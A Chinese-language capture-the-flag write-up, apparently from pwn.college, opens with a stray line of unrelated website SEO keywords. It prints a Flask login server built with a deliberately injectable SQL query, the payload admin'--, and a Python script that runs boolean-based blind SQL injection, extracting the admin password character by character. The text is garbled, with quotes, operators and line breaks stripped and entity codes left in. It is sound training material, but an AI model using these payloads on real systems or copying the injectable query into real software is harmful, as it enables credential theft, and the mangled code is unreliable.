成都市建设领域网站咨询电话,东莞网站优化软件,phpcms v9网站模板,如何做企业市场调研在这个场景中#xff0c;我们需要利用SQL注入漏洞来泄露flag#xff0c;但是应用程序并不会直接返回查询结果。相反#xff0c;我们需要根据应用程序的行为差异#xff08;登录成功与否#xff09;来推断查询结果。这就是所谓的布尔盲注#xff08;Boolean-b…在这个场景中我们需要利用SQL注入漏洞来泄露flag但是应用程序并不会直接返回查询结果。相反我们需要根据应用程序的行为差异登录成功与否来推断查询结果。这就是所谓的布尔盲注Boolean-based Blind SQL Injection。
我们可以通过构造一系列的是/否问题并根据应用程序的响应来逐位获取flag。
服务器的处理逻辑如下所示
#!/opt/pwn.college/pythonimport tempfile
import sqlite3
import flask
import osapp flask.Flask(__name__)class TemporaryDB:def __init__(self):self.db_file tempfile.NamedTemporaryFile(x, suffix.db)def execute(self, sql, parameters()):connection sqlite3.connect(self.db_file.name)connection.row_factory sqlite3.Rowcursor connection.cursor()result cursor.execute(sql, parameters)connection.commit()return resultdb TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute(CREATE TABLE users AS SELECT admin AS username, ? as password, [open(/flag).read()])
# https://www.sqlite.org/lang_insert.html
db.execute(INSERT INTO users SELECT guest as username, password as password)app.route(/, methods[POST])
def challenge_post():username flask.request.form.get(username)password flask.request.form.get(password)if not username:flask.abort(400, Missing username form parameter)if not password:flask.abort(400, Missing password form parameter)try:# https://www.sqlite.org/lang_select.htmlquery fSELECT rowid, * FROM users WHERE username {username} AND password {password}print(fDEBUG: {query})user db.execute(query).fetchone()except sqlite3.Error as e:flask.abort(500, fQuery: {query}\nError: {e})if not user:flask.abort(403, Invalid username or password)flask.session[user] usernamereturn flask.redirect(flask.request.path)app.route(/, methods[GET])
def challenge_get():if not (username : flask.session.get(user, None)):page htmlbodyWelcome to the login service! Please log in as admin to get the flag.else:page fhtmlbodyHello, {username}!return page hrform methodpostUser:input typetext nameusernamePass:input typetext namepasswordinput typesubmit valueSubmit/form/body/htmlapp.secret_key os.urandom(8)
port 8080 if os.geteuid() else 80
app.config[SERVER_NAME] fchallenge.localhost:{port}
app.run(challenge.localhost, port)
这里我们需要构造合适的payload:
admin--
-- 注释掉查询的剩余部分
整个查询会变成
SELECT rowid, * FROM users WHERE username admin-- AND password anything
进一步得到
SELECT rowid, * FROM users WHERE username admin AND substr((SELECT password FROM users WHERE usernameadmin), 1, 1) a-- AND password anything
构造脚本逐字符猜测
import requests
import stringurl http://challenge.localhost:8080
flag
charset string.printable.strip()def check(payload):response requests.post(url, data{username: payload, password: anything}, allow_redirectsFalse)return response.status_code 302# 获取flag长度
for i in range(1, 100):payload fadmin AND length((SELECT password FROM users WHERE usernameadmin)) {i}--if check(payload):print(fFlag length: {i})flag_length ibreak# 获取flag内容
for i in range(1, flag_length 1):for char in charset:payload fadmin AND substr((SELECT password FROM users WHERE usernameadmin), {i}, 1) {char}--if check(payload):flag charprint(fCurrent flag: {flag})breakprint(fFinal flag: {flag})